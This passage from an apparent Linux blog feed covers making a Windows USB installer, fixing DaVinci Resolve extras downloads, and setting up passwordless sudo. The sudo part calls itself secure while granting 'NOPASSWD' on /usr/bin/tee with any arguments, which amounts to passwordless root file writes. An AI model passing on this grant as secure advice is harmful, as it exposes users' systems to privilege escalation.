yap&inodot;lacak b&ouml;l&uuml;m&uuml; se&ccedil;in.</p> </li> <li> <p>De&gbreve;i&scedil;iklikleri kaydedip &ccedil;&inodot;k&inodot;n:</p> </li> <li> <p><code>r</code> tu&scedil;una basarak uzman modundan &ccedil;&inodot;k&inodot;n.</p> </li> <li><code>w</code> tu&scedil;una basarak de&gbreve;i&scedil;iklikleri diske yaz&inodot;n.</li> </ol> <hr/> <h2 id="adm-3-usb-surucusunu-bicimlendirme">👣 Ad&inodot;m 3: USB S&uuml;r&uuml;c&uuml;s&uuml;n&uuml; Bi&ccedil;imlendirme<a class="headerlink" href="#adm-3-usb-surucusunu-bicimlendirme" title="Permanent link">#</a></h2> <p>B&uuml;y&uuml;k Windows dosyalar&inodot;n&inodot; ta&scedil;&inodot;yabilmesi i&ccedil;in veri b&ouml;l&uuml;m&uuml; i&ccedil;in <strong>NTFS</strong>, &ouml;ny&uuml;kleme b&ouml;l&uuml;m&uuml; i&ccedil;in ise <strong>FAT32</strong> dosya sistemi kullanaca&gbreve;&inodot;z.</p> <p><strong>NTFS i&ccedil;in (Veri B&ouml;l&uuml;m&uuml;):</strong></p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>mkfs.ntfs<span class="w"> </span>-f<span class="w"> </span>/dev/sdX1 </code></pre></div> <p><strong>FAT32 i&ccedil;in (&Ouml;ny&uuml;kleme B&ouml;l&uuml;m&uuml;):</strong></p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>mkfs.vfat<span class="w"> </span>-F<span class="w"> </span><span class="m">32</span><span class="w"> </span>/dev/sdX2 </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Dikkat! <code>/dev/sdX1</code> ve <code>/dev/sdX2</code> k&inodot;s&inodot;mlar&inodot;n&inodot; kendi USB s&uuml;r&uuml;c&uuml;n&uuml;ze g&ouml;re do&gbreve;ru yazd&inodot;&gbreve;&inodot;n&inodot;zdan mutlaka emin olun.</p> </div> <hr/> <h2 id="adm-4-windows-iso-dosyalarn-usbye-kopyalama">👣 Ad&inodot;m 4: Windows ISO Dosyalar&inodot;n&inodot; USB&rsquo;ye Kopyalama<a class="headerlink" href="#adm-4-windows-iso-dosyalarn-usbye-kopyalama" title="Permanent link">#</a></h2> <p>ISO dosyas&inodot;n&inodot; ve USB s&uuml;r&uuml;c&uuml;s&uuml;n&uuml; sisteme ba&gbreve;lay&inodot;p, i&ccedil;erikleri kopyal&inodot;yoruz:</p> <ol> <li><strong>Ba&gbreve;lama noktalar&inodot; (mount points) olu&scedil;turun:</strong></li> </ol> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>mkdir<span class="w"> </span>/mnt/iso sudo<span class="w"> </span>mkdir<span class="w"> </span>/mnt/drive </code></pre></div> <ol> <li><strong>ISO ve USB diskini ba&gbreve;lay&inodot;n:</strong></li> </ol> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>mount<span class="w"> </span>-o<span class="w"> </span>loop<span class="w"> </span>/path/to/your.iso<span class="w"> </span>/mnt/iso sudo<span class="w"> </span>mount<span class="w"> </span>/dev/sdX1<span class="w"> </span>/mnt/drive </code></pre></div> <ol> <li><strong>Dosyalar&inodot; kopyalay&inodot;n:</strong></li> </ol> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>cp<span class="w"> </span>-r<span class="w"> </span>/mnt/iso/*<span class="w"> </span>/mnt/drive </code></pre></div> <div class="admonition note"> <p class="admonition-title">Not: Bu i&scedil;lem USB h&inodot;z&inodot;n&inodot;za ba&gbreve;l&inodot; olarak 10-15 dakika kadar s&uuml;rebilir. Sakin olun, bir &ccedil;ay daha koyun.</p> </div> <ol> <li><strong>ISO&rsquo;yu ay&inodot;r&inodot;n:</strong></li> </ol> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>umount<span class="w"> </span>/mnt/iso sudo<span class="w"> </span>rmdir<span class="w"> </span>/mnt/iso </code></pre></div> <hr/> <h2 id="adm-5-rufus-onyukleme-goruntusunu-yazma">👣 Ad&inodot;m 5: Rufus &Ouml;ny&uuml;kleme G&ouml;r&uuml;nt&uuml;s&uuml;n&uuml; Yazma<a class="headerlink" href="#adm-5-rufus-onyukleme-goruntusunu-yazma" title="Permanent link">#</a></h2> <p>&Ouml;ncelikle Rufus<sup id="fnref:Rufus"><a class="footnote-ref" href="#fn:Rufus">2</a></sup> resmi deposundan &ouml;ny&uuml;kleme imaj&inodot;n&inodot; &ccedil;ekiyoruz:</p> <div class="highlight"><pre><span></span><code>wget<span class="w"> </span>https://github.com/pbatard/rufus/raw/master/res/uefi/uefi-ntfs.img </code></pre></div> <p>&Idot;ndirdi&gbreve;iniz <code>uefi-ntfs.img</code> dosyas&inodot;n&inodot; USB&rsquo;nin ikinci b&ouml;l&uuml;m&uuml;ne yazmak i&ccedil;in <code>dd</code> komutunu ko&scedil;turuyoruz:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>dd<span class="w"> </span><span class="k">if</span><span class="o">=</span>/path/to/uefi-ntfs.img<span class="w"> </span><span class="nv">of</span><span class="o">=</span>/dev/sdX2<span class="w"> </span><span class="nv">bs</span><span class="o">=</span>1M<span class="w"> </span><span class="nv">status</span><span class="o">=</span>progress </code></pre></div> <div class="admonition danger"> <p class="admonition-title">Kritik Uyar&inodot;! <code>/dev/sdX2</code> k&inodot;sm&inodot;n&inodot; do&gbreve;ru s&uuml;r&uuml;c&uuml; ad&inodot;yla de&gbreve;i&scedil;tirin. Yanl&inodot;&scedil; bir ayg&inodot;t ad&inodot; girerseniz sistem diskiniz dahil &ouml;nemli verileriniz an&inodot;nda u&ccedil;up gidebilir! Bizzat dikkat edin!</p> </div> <hr/> <h2 id="adm-6-onyukleyici-bootloader-kurulumu">👣 Ad&inodot;m 6: &Ouml;ny&uuml;kleyici (Bootloader) Kurulumu<a class="headerlink" href="#adm-6-onyukleyici-bootloader-kurulumu" title="Permanent link">#</a></h2> <p>&Ouml;ny&uuml;kleyiciyi kurmak i&ccedil;in <code>grub</code> kullanaca&gbreve;&inodot;z. Kulland&inodot;&gbreve;&inodot;n&inodot;z da&gbreve;&inodot;t&inodot;ma g&ouml;re komutlar k&uuml;&ccedil;&uuml;k farkl&inodot;l&inodot;klar g&ouml;sterebilir.</p> <div class="admonition note"> <p class="admonition-title">Not: Debian/Ubuntu Kullan&inodot;c&inodot;lar&inodot; &Idot;&ccedil;in</p> <p>E&gbreve;er <code>grub2-install</code> komutu bulunamazsa, sisteminiz <code>grub-install</code> kullan&inodot;yor olabilir. Ayr&inodot;ca, <code>i386-pc</code> hedefi i&ccedil;in <code>grub-pc</code> paketinin kurulu olmas&inodot; gerekebilir. Kurmak i&ccedil;in: <code>sudo apt-get install grub-pc</code></p> </div> <p><code>grub2-install</code> (veya <code>grub-install</code>) komutunu kullanarak &ouml;ny&uuml;kleyiciyi diske g&ouml;m&uuml;yoruz:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>grub2-install<span class="w"> </span>--target<span class="o">=</span>i386-pc<span class="w"> </span>--boot-directory<span class="o">=</span>/mnt/drive<span class="w"> </span>--force<span class="w"> </span>/dev/sdX </code></pre></div> <ul> <li><code>--boot-directory=/mnt/drive</code>: USB&rsquo;nin Windows veri b&ouml;l&uuml;m&uuml;n&uuml;n ba&gbreve;land&inodot;&gbreve;&inodot; yer.</li> <li><code>/dev/sdX</code>: USB ayg&inodot;t&inodot;n&inodot;n kendisi (b&ouml;l&uuml;m numaras&inodot; olmadan).</li> </ul> <hr/> <h2 id="adm-7-onyuklenebilir-usbyi-test-etme">👣 Ad&inodot;m 7: &Ouml;ny&uuml;klenebilir USB&rsquo;yi Test Etme<a class="headerlink" href="#adm-7-onyuklenebilir-usbyi-test-etme" title="Permanent link">#</a></h2> <p>Her &scedil;ey bitti! USB'yi g&uuml;venli bir &scedil;ekilde ay&inodot;r&inodot;n (<code>sudo umount /mnt/drive</code>), hedef sisteme tak&inodot;n ve BIOS/UEFI ayarlar&inodot;ndan <strong>USB &ouml;ncelikli &ouml;ny&uuml;kleme</strong> yap&inodot;n. E&gbreve;er UEFI sistemlerde sorun ya&scedil;arsan&inodot;z <strong>Secure Boot</strong> se&ccedil;ene&gbreve;ini ge&ccedil;ici olarak devre d&inodot;&scedil;&inodot; b&inodot;rakmay&inodot; unutmay&inodot;n.</p> <hr/> <h2 id="yaygn-sorunlar-ve-cozumleri">🛠️ Yayg&inodot;n Sorunlar ve &Ccedil;&ouml;z&uuml;mleri<a class="headerlink" href="#yaygn-sorunlar-ve-cozumleri" title="Permanent link">#</a></h2> <ul> <li><strong>&Ouml;ny&uuml;kleyici Hatalar&inodot; (Boot Etmiyor):</strong> USB &ouml;ny&uuml;kleme yapm&inodot;yorsa, sisteminizde UEFI yerine Legacy BIOS deste&gbreve;inin aktif olup olmad&inodot;&gbreve;&inodot;n&inodot; veya ISO b&uuml;t&uuml;nl&uuml;&gbreve;&uuml;n&uuml; kontrol edin.</li> <li><strong>&Idot;zin Hatalar&inodot; (Permission Denied):</strong> Disk i&scedil;lemleri do&gbreve;rudan sisteme etki etti&gbreve;i i&ccedil;in t&uuml;m bu komutlar&inodot; mutlaka <code>sudo</code> yetkisiyle &ccedil;al&inodot;&scedil;t&inodot;rmal&inodot;s&inodot;n&inodot;z.</li> <li><strong>Bozuk ISO Dosyas&inodot;:</strong> &Idot;ndirdi&gbreve;iniz ISO dosyas&inodot;n&inodot;n bozuk olup olmad&inodot;&gbreve;&inodot;n&inodot; anlamak i&ccedil;in SHA256 kontrol&uuml;n&uuml; yap&inodot;n:</li> </ul> <div class="highlight"><pre><span></span><code>sha256sum<span class="w"> </span>/path/to/windows.iso </code></pre></div> <hr/> <h2 id="sonuc">🎯 Sonu&ccedil;<a class="headerlink" href="#sonuc" title="Permanent link">#</a></h2> <p>Bu ad&inodot;mlar&inodot; takip ederek hi&ccedil;bir harici grafiksel yaz&inodot;l&inodot;ma ihtiya&ccedil; duymadan, tamamen terminal &uuml;zerinden aslanlar gibi &ccedil;al&inodot;&scedil;an <strong>Windows kurulum USB'si</strong> haz&inodot;rlayabilirsiniz. Linux'ta &ccedil;&ouml;z&uuml;m t&uuml;kenmez! </p> <p>Kafan&inodot;za tak&inodot;lan veya tak&inodot;ld&inodot;&gbreve;&inodot;n&inodot;z bir ad&inodot;m olursa yorumlarda bulu&scedil;al&inodot;m, sistemi beraber aya&gbreve;a kald&inodot;r&inodot;r&inodot;z! 😉</p> <hr/> <h2 id="kaynaklar">🔗 Kaynaklar<a class="headerlink" href="#kaynaklar" title="Permanent link">#</a></h2> <ul> <li>Daha fazla bilgi i&ccedil;in <a href="/linux-uefi-windows10-usb/">Linux&rsquo;ta UEFI destekli Windows 10 USB olu&scedil;turma rehberine</a> g&ouml;z atabilirsiniz.</li> </ul> <p><img alt="USB Bellekten ISO &Ouml;ny&uuml;kleme Rehberi" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/usb-bellekten-iso-onyukleme-rehberi-xl.webp" srcset="/images/usb-bellekten-iso-onyukleme-rehberi-sm.webp 300w, /images/usb-bellekten-iso-onyukleme-rehberi-md.webp 500w, /images/usb-bellekten-iso-onyukleme-rehberi-lg.webp 800w, /images/usb-bellekten-iso-onyukleme-rehberi-xl.webp 1200w"/></p> <div class="footnote"> <hr/> <ol> <li id="fn:El-Torito"> <p><a href="https://en.wikipedia.org/wiki/ISO_9660#El_Torito" rel="noopener noreferrer" target="_blank">https://en.wikipedia.org/wiki/ISO_9660#El_Torito</a>&nbsp;<a class="footnote-backref" href="#fnref:El-Torito" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:Rufus"> <p><a href="https://rufus.ie/en/" rel="noopener noreferrer" target="_blank">https://rufus.ie/en/</a>&nbsp;<a class="footnote-backref" href="#fnref:Rufus" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-09T18:00:00+03:002025-11-09T18:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-09:/en/davinci-resolve-extras-download-failed/

<p>A step-by-step guide to solving the DaVinci Resolve "Extras in the Download Manager" and AI Voice Training download issues on Arch Linux.</p>

<h2 id="ai-voice-training-and-extras-download-issue">AI Voice Training and Extras Download Issue 🎤<a class="headerlink" href="#ai-voice-training-and-extras-download-issue" title="Permanent link">#</a></h2> <ul> <li>You couldn't download content from the "Extras in the Download Manager" menu (AI Voice Training, other extras).</li> <li>When trying to download the AI Voice Training module, you would get an error like: <code>'download failed'</code></li> <li><strong>Reason:</strong> TLS/SSL connection issues and some packages being missing or in the wrong location.</li> </ul> <blockquote> <p>These modules are especially necessary for adding subtitles to videos in languages other than English and for training or cloning your own voice.</p> </blockquote> <h3 id="solution-steps">Solution Steps<a class="headerlink" href="#solution-steps" title="Permanent link">#</a></h3> <ol> <li><strong>Resolve the TLS/SSL connection issue:</strong></li> </ol> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>mkdir<span class="w"> </span>-p<span class="w"> </span>/etc/pki/tls/certs sudo<span class="w"> </span>cp<span class="w"> </span>/etc/ssl/certs/ca-certificates.crt<span class="w"> </span>/etc/pki/tls/certs/ca-bundle.crt sudo<span class="w"> </span>pacman<span class="w"> </span>-Syu<span class="w"> </span>ca-certificates </code></pre></div> <ol> <li><strong>Run Resolve with environment variables:</strong></li> </ol> <div class="highlight"><pre><span></span><code><span class="nv">CURL_CA_BUNDLE</span><span class="o">=</span>/etc/ssl/certs/ca-certificates.crt<span class="w"> </span>/opt/resolve/bin/resolve <span class="c1"># or</span> <span class="nv">SSL_CERT_FILE</span><span class="o">=</span>/etc/ssl/certs/ca-certificates.crt<span class="w"> </span>/opt/resolve/bin/resolve </code></pre></div> <ol> <li><strong>Check for library conflicts:</strong></li> </ol> <div class="highlight"><pre><span></span><code><span class="nb">cd</span><span class="w"> </span>/opt/resolve/libs sudo<span class="w"> </span>mkdir<span class="w"> </span>disabled-libraries sudo<span class="w"> </span>mv<span class="w"> </span>libglib*<span class="w"> </span>libgio*<span class="w"> </span>libgmodule*<span class="w"> </span>disabled-libraries/ </code></pre></div> <ol> <li><strong>Restart Resolve and download the AI Voice Training or other extras content from the Download Manager.</strong></li> </ol> <hr/> <h2 id="tlsssl-connection-issue_1">TLS/SSL Connection Issue 🔒<a class="headerlink" href="#tlsssl-connection-issue" title="Permanent link">#</a></h2> <ul> <li>DaVinci Resolve was giving a TLS handshake error (<code>ERROR code 77</code>) when loading packages over the internet.</li> <li><strong>Reason:</strong> The CA certificate file was not found in the path expected by the application.</li> <li><strong>Solution:</strong> The TLS/SSL steps above already resolve this error.</li> </ul> <hr/> <h2 id="symbol-lookup-error-with-libpango"><code>symbol lookup error</code> with <code>libpango</code> ⚠️<a class="headerlink" href="#symbol-lookup-error-with-libpango" title="Permanent link">#</a></h2> <ul> <li><strong>Error:</strong></li> </ul> <div class="highlight"><pre><span></span><code>./resolve:<span class="w"> </span>symbol<span class="w"> </span>lookup<span class="w"> </span>error:<span class="w"> </span>/usr/lib/libpango-1.0.so.0:<span class="w"> </span>undefined<span class="w"> </span>symbol:<span class="w"> </span>g_once_init_leave_pointer </code></pre></div> <ul> <li> <p><strong>Reason:</strong> Some libraries in the DaVinci Resolve package (<code>libglib*</code>, <code>libgio*</code>, <code>libgmodule*</code>) might be conflicting with system libraries.</p> </li> <li> <p><strong>Solution:</strong> This error can be fixed with the "Check for library conflicts" steps mentioned above.</p> </li> </ul> <hr/> <h2 id="conclusion">Conclusion ✅<a class="headerlink" href="#conclusion" title="Permanent link">#</a></h2> <ul> <li>TLS/SSL issues and library conflicts have been resolved.</li> <li>AI Voice Training and other extras can now be downloaded smoothly from the "Extras in the Download Manager" menu.</li> <li>It is now possible to add subtitles for non-English videos and train your own voice.</li> </ul> <hr/> <h2 id="my-notes">My Notes 📝<a class="headerlink" href="#my-notes" title="Permanent link">#</a></h2> <ul> <li>AI Voice Training or other extras download issues are mostly caused by TLS and certificate deficiencies.</li> <li>Environment variables and library management offer fast and secure solutions.</li> <li>Since Resolve includes its own libraries, conflicts with system libraries can sometimes occur.</li> <li>Temporarily disabling conflicting libraries resolves download and operational problems.</li> <li>These steps have been tested on Arch Linux and similar distributions; similar solutions can be applied on other distributions.</li> <li>If Davinci Resolve does not open, you can also read our article on this topic: <a href="/en/davinci-resolve-20-1-linux-hatasi-cozumu/">DaVinci Resolve 20.1 Not Opening on Linux: Error and Solution</a></li> </ul> <p><img alt="DaVinci Resolve Extras Download Issue Solution" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/davinci-resolve-extras-ai-voice-xl.webp" srcset="/images/davinci-resolve-extras-ai-voice-sm.webp 300w, /images/davinci-resolve-extras-ai-voice-md.webp 500w, /images/davinci-resolve-extras-ai-voice-lg.webp 800w, /images/davinci-resolve-extras-ai-voice-xl.webp 1200w"/></p>2025-11-09T18:00:00+03:002025-11-09T18:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-09:/davinci-resolve-extras-download-failed/

<p>Arch Linux üzerinde DaVinci Resolve Extras in the Download Manager ve AI Voice Training indirme sorunlarının çözümü için adım adım rehber.</p>

<h2 id="ai-voice-training-ve-extras-indirme-sorunu">AI Voice Training ve Extras &Idot;ndirme Sorunu 🎤<a class="headerlink" href="#ai-voice-training-ve-extras-indirme-sorunu" title="Permanent link">#</a></h2> <ul> <li>&ldquo;Extras in the Download Manager&rdquo; men&uuml;s&uuml;ndeki i&ccedil;erikleri (AI Voice Training, di&gbreve;er ekstralar) indiremiyordunuz.</li> <li>AI Voice Training mod&uuml;l&uuml; indirilmeye &ccedil;al&inodot;&scedil;&inodot;ld&inodot;&gbreve;&inodot;nda &scedil;&ouml;yle bir hata al&inodot;n&inodot;yordu: <code>'download failed'</code></li> <li>Neden: TLS/SSL ba&gbreve;lant&inodot; sorunlar&inodot; ve baz&inodot; paketlerin eksik veya yanl&inodot;&scedil; konumda olmas&inodot;.</li> </ul> <blockquote> <p>Bu mod&uuml;ller &ouml;zellikle &Idot;ngilizce d&inodot;&scedil;&inodot;ndaki videolara altyaz&inodot; eklemek ve kendi sesinizi e&gbreve;itmek ya da klonlamak i&ccedil;in gerekli.</p> </blockquote> <h3 id="cozum-admlar">&Ccedil;&ouml;z&uuml;m Ad&inodot;mlar&inodot;<a class="headerlink" href="#cozum-admlar" title="Permanent link">#</a></h3> <ol> <li><strong>TLS/SSL ba&gbreve;lant&inodot; sorununu &ccedil;&ouml;z&uuml;n:</strong></li> </ol> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>mkdir<span class="w"> </span>-p<span class="w"> </span>/etc/pki/tls/certs sudo<span class="w"> </span>cp<span class="w"> </span>/etc/ssl/certs/ca-certificates.crt<span class="w"> </span>/etc/pki/tls/certs/ca-bundle.crt sudo<span class="w"> </span>pacman<span class="w"> </span>-Syu<span class="w"> </span>ca-certificates </code></pre></div> <ol> <li><strong>Ortam de&gbreve;i&scedil;kenleri ile Resolve&rsquo;u &ccedil;al&inodot;&scedil;t&inodot;r&inodot;n:</strong></li> </ol> <div class="highlight"><pre><span></span><code><span class="nv">CURL_CA_BUNDLE</span><span class="o">=</span>/etc/ssl/certs/ca-certificates.crt<span class="w"> </span>/opt/resolve/bin/resolve <span class="c1"># veya</span> <span class="nv">SSL_CERT_FILE</span><span class="o">=</span>/etc/ssl/certs/ca-certificates.crt<span class="w"> </span>/opt/resolve/bin/resolve </code></pre></div> <ol> <li><strong>K&uuml;t&uuml;phane &ccedil;ak&inodot;&scedil;malar&inodot;n&inodot; kontrol edin:</strong></li> </ol> <div class="highlight"><pre><span></span><code><span class="nb">cd</span><span class="w"> </span>/opt/resolve/libs sudo<span class="w"> </span>mkdir<span class="w"> </span>disabled-libraries sudo<span class="w"> </span>mv<span class="w"> </span>libglib*<span class="w"> </span>libgio*<span class="w"> </span>libgmodule*<span class="w"> </span>disabled-libraries/ </code></pre></div> <ol> <li><strong>Resolve&rsquo;u yeniden ba&scedil;lat&inodot;n ve Download Manager&rsquo;den AI Voice Training veya di&gbreve;er extras i&ccedil;erikleri indirin.</strong></li> </ol> <hr/> <h2 id="tlsssl-baglant-sorunu_1">TLS/SSL Ba&gbreve;lant&inodot; Sorunu 🔒<a class="headerlink" href="#tlsssl-baglant-sorunu" title="Permanent link">#</a></h2> <ul> <li>DaVinci Resolve internet &uuml;zerinden paket y&uuml;klerken TLS handshake hatas&inodot; veriyordu (<code>ERROR code 77</code>).</li> <li>Neden: CA sertifika dosyas&inodot; uygulama taraf&inodot;ndan beklenen yolda bulunam&inodot;yordu.</li> <li>&Ccedil;&ouml;z&uuml;m: Yukar&inodot;daki TLS/SSL ad&inodot;mlar&inodot; zaten bu hatay&inodot; da &ccedil;&ouml;z&uuml;yor.</li> </ul> <hr/> <h2 id="libpango-ile-symbol-lookup-error"><code>libpango</code> ile <code>symbol lookup error</code> ⚠️<a class="headerlink" href="#libpango-ile-symbol-lookup-error" title="Permanent link">#</a></h2> <ul> <li>Hata:</li> </ul> <div class="highlight"><pre><span></span><code>./resolve: symbol lookup error: /usr/lib/libpango-1.0.so.0: undefined symbol: g_once_init_leave_pointer </code></pre></div> <ul> <li> <p>Neden: DaVinci Resolve paketindeki baz&inodot; k&uuml;t&uuml;phaneler (<code>libglib*</code>, <code>libgio*</code>, <code>libgmodule*</code>) sistem k&uuml;t&uuml;phaneleriyle &ccedil;ak&inodot;&scedil;&inodot;yor olabilir.</p> </li> <li> <p>&Ccedil;&ouml;z&uuml;m: Yukar&inodot;daki &ldquo;K&uuml;t&uuml;phane &ccedil;ak&inodot;&scedil;malar&inodot;n&inodot; kontrol et&rdquo; ad&inodot;mlar&inodot;yla bu hata giderilebilir.</p> </li> </ul> <hr/> <h2 id="sonuc">Sonu&ccedil; ✅<a class="headerlink" href="#sonuc" title="Permanent link">#</a></h2> <ul> <li>TLS/SSL sorunlar&inodot; ve k&uuml;t&uuml;phane &ccedil;ak&inodot;&scedil;malar&inodot; &ccedil;&ouml;z&uuml;ld&uuml;.</li> <li>&ldquo;Extras in the Download Manager&rdquo; men&uuml;s&uuml;nden AI Voice Training ve di&gbreve;er ekstralar sorunsuz indirilebildi.</li> <li>Art&inodot;k &Idot;ngilizce d&inodot;&scedil;&inodot; videolar i&ccedil;in altyaz&inodot; eklemek ve kendi sesinizi e&gbreve;itmek m&uuml;mk&uuml;n.</li> </ul> <hr/> <h2 id="notlarm">Notlar&inodot;m 📝<a class="headerlink" href="#notlarm" title="Permanent link">#</a></h2> <ul> <li>AI Voice Training veya di&gbreve;er extras indirme sorunlar&inodot; &ccedil;o&gbreve;unlukla TLS ve sertifika eksikli&gbreve;i kaynakl&inodot;d&inodot;r.</li> <li>Ortam de&gbreve;i&scedil;kenleri ve k&uuml;t&uuml;phane y&ouml;netimi h&inodot;zl&inodot; ve g&uuml;venli &ccedil;&ouml;z&uuml;mler sunar.</li> <li>Resolve kendi k&uuml;t&uuml;phanelerini i&ccedil;erdi&gbreve;inden bazen sistem k&uuml;t&uuml;phaneleriyle &ccedil;ak&inodot;&scedil;malar ya&scedil;anabilir.</li> <li>&Ccedil;ak&inodot;&scedil;an k&uuml;t&uuml;phaneleri ge&ccedil;ici olarak devre d&inodot;&scedil;&inodot; b&inodot;rakmak indirme ve &ccedil;al&inodot;&scedil;ma sorunlar&inodot;n&inodot; &ccedil;&ouml;zer.</li> <li>Bu ad&inodot;mlar Arch Linux ve benzeri da&gbreve;&inodot;t&inodot;mlarda test edilmi&scedil;tir; di&gbreve;er da&gbreve;&inodot;t&inodot;mlarda da benzer &ccedil;&ouml;z&uuml;mler uygulanabilir.</li> <li>E&gbreve;er Davinci Resolve A&ccedil;&inodot;lm&inodot;yorsa bu yaz&inodot;m&inodot;z&inodot;da okuyabilirsiniz.<a href="/davinci-resolve-20-1-linux-hatasi-cozumu/">Linux&rsquo;ta DaVinci Resolve 20.1 A&ccedil;&inodot;lm&inodot;yor Hatas&inodot; ve &Ccedil;&ouml;z&uuml;m&uuml;</a></li> </ul> <p><img alt="DaVinci Resolve Extras &Idot;ndirme Sorunu &Ccedil;&ouml;z&uuml;m&uuml;" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/davinci-resolve-extras-ai-voice-xl.webp" srcset="/images/davinci-resolve-extras-ai-voice-sm.webp 300w, /images/davinci-resolve-extras-ai-voice-md.webp 500w, /images/davinci-resolve-extras-ai-voice-lg.webp 800w, /images/davinci-resolve-extras-ai-voice-xl.webp 1200w"/></p>2025-11-09T16:30:00+03:002025-11-09T16:45:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-09:/en/linux-sudoers-sifresiz-komut-cozumu/

<p>If you're getting a 'sudo: a password is required' error due to sudoers configuration, this guide explains the cause and provides secure, step-by-step solutions.</p>

<h2 id="introduction">Introduction<a class="headerlink" href="#introduction" title="Permanent link">#</a></h2> <p>Sometimes you write a script and have to enter a password every time&mdash;annoying, right? 😅 In this article, I'll address the <strong>sudoers passwordless command execution</strong> issue in a simple, friendly tone; I'll go step-by-step to show the source of the error and its secure solutions.</p> <h2 id="source-of-the-problem">Source of the Problem<a class="headerlink" href="#source-of-the-problem" title="Permanent link">#</a></h2> <p>In modern desktop environments like Wayland, <code>xset</code> may not work; instead, you need to write to the <code>/sys/class/leds/inputX::scrolllock/brightness</code> file to change keyboard lights. Writing to this file requires root privileges<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>. If you used <code>sudo tee</code> in your script, the system might constantly ask for a password. The typical reminder for this is:</p> <div class="highlight"><pre><span></span><code>sudo:<span class="w"> </span>a<span class="w"> </span>password<span class="w"> </span>is<span class="w"> </span>required </code></pre></div> <p>Often, the reason is an incorrect or missing permission definition in the <code>sudoers</code> file.</p> <h2 id="why-is-a-correct-permission-definition-important">Why is a Correct Permission Definition Important?<a class="headerlink" href="#why-is-a-correct-permission-definition-important" title="Permanent link">#</a></h2> <ul> <li>If you don't specify the <strong>full path</strong> of the program in the <code>sudoers</code> line, the system can't match the permissions.</li> <li>If the arguments given to the command do not match the permission definition, the operation will still ask for a password.</li> <li>There might be a syntax error in <code>/etc/sudoers</code> or <code>/etc/sudoers.d/</code>&mdash;which can lead to unexpected behavior.</li> </ul> <div class="admonition warning"> <p class="admonition-title">Caution! Editing the <code>sudoers</code> file incorrectly can affect the system; always make changes with <code>visudo</code> ⚠️</p> </div> <h2 id="solution-step-by-step">Solution: Step-by-Step<a class="headerlink" href="#solution-step-by-step" title="Permanent link">#</a></h2> <h3 id="1-use-the-full-path-of-the-program">1. Use the Full Path of the Program<a class="headerlink" href="#1-use-the-full-path-of-the-program" title="Permanent link">#</a></h3> <p>Writing the full path of the command in the <code>sudoers</code> file is the most basic rule. For example, for <code>tee</code>:</p> <div class="highlight"><pre><span></span><code>friday13 ALL=(ALL) NOPASSWD: /usr/bin/tee </code></pre></div> <p>This line grants permission to run the <code>/usr/bin/tee</code> command with all arguments without a password. ✅</p> <h3 id="2-use-an-alias-for-multiple-commands">2. Use an Alias for Multiple Commands<a class="headerlink" href="#2-use-an-alias-for-multiple-commands" title="Permanent link">#</a></h3> <p>If you want to grant permission for multiple tools, creating a group is more organized:</p> <div class="highlight"><pre><span></span><code>Cmnd_Alias MYTOOLS = /usr/bin/tee, /usr/bin/pacman, /usr/bin/aurman friday13 ALL=(ALL) NOPASSWD: MYTOOLS </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Tip ⚡ By using Cmnd_Alias, you group permissions; this makes management easier.</p> </div> <h3 id="3-keep-changes-under-etcsudoersd">3. Keep Changes Under <code>/etc/sudoers.d/</code><a class="headerlink" href="#3-keep-changes-under-etcsudoersd" title="Permanent link">#</a></h3> <p>Instead of directly editing the main <code>sudoers</code> file, create a separate file:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>visudo<span class="w"> </span>-f<span class="w"> </span>/etc/sudoers.d/10_mytools </code></pre></div> <p>Example file content:</p> <div class="highlight"><pre><span></span><code>Cmnd_Alias MYTOOLS = /usr/bin/tee, /usr/bin/pacman, /usr/bin/aurman friday13 ALL=(ALL) NOPASSWD: MYTOOLS </code></pre></div> <p>This method both maintains order and simplifies management.</p> <h3 id="4-testing-methods">4. Testing Methods<a class="headerlink" href="#4-testing-methods" title="Permanent link">#</a></h3> <p>To verify the changes, apply these steps:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>-k<span class="w"> </span><span class="c1"># Clear the sudo cache</span> sudo<span class="w"> </span>-n<span class="w"> </span>/usr/bin/tee<span class="w"> </span>/sys/class/leds/input4::scrolllock/brightness<span class="w"> </span><span class="o">&lt;&lt;&lt;</span><span class="w"> </span><span class="m">1</span> sudo<span class="w"> </span>-l<span class="w"> </span><span class="c1"># List the user's sudo permissions</span> </code></pre></div> <p>The <code>sudo -n</code> command attempts to run without asking for a password; if it doesn't give an error, your setting is working correctly. ✅</p> <h2 id="common-pitfalls-and-things-to-watch-out-for_1">Common Pitfalls and Things to Watch Out For<a class="headerlink" href="#common-pitfalls-and-things-to-watch-out-for" title="Permanent link">#</a></h2> <div class="admonition warning"> <p class="admonition-title">Caution! Granting broad <code>NOPASSWD</code> permission can lead to serious security vulnerabilities ⚠️</p> </div> <div class="admonition note"> <p class="admonition-title">Note: Regularly check which commands are permitted with <code>sudo -l</code>.</p> </div> <h2 id="summary">Summary<a class="headerlink" href="#summary" title="Permanent link">#</a></h2> <ul> <li>It is mandatory to specify the <strong>full path</strong> in <code>sudoers</code>.</li> <li>Group permissions using 